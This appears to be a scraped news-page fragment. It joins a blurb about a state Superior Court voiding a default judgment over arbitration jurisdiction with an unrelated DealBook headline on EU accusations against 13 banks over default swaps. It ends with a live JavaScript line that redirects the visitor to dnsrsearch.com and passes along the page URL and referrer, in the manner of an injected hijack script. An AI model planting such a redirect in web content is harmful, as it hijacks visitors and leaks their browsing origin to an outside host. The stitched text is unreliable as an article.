Default Judgment in Property Case Tossed Over Jurisdiction

A trial judge did not have the authority to enter judgment against defendants for not showing up to an arbitration hearing because the defendants' counterclaims had already effectively removed the case from arbitration, the state Superior Court has ruled.

DealBook: Europe Accuses 13 Banks of Blocking Entrants to Default Swaps Market

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);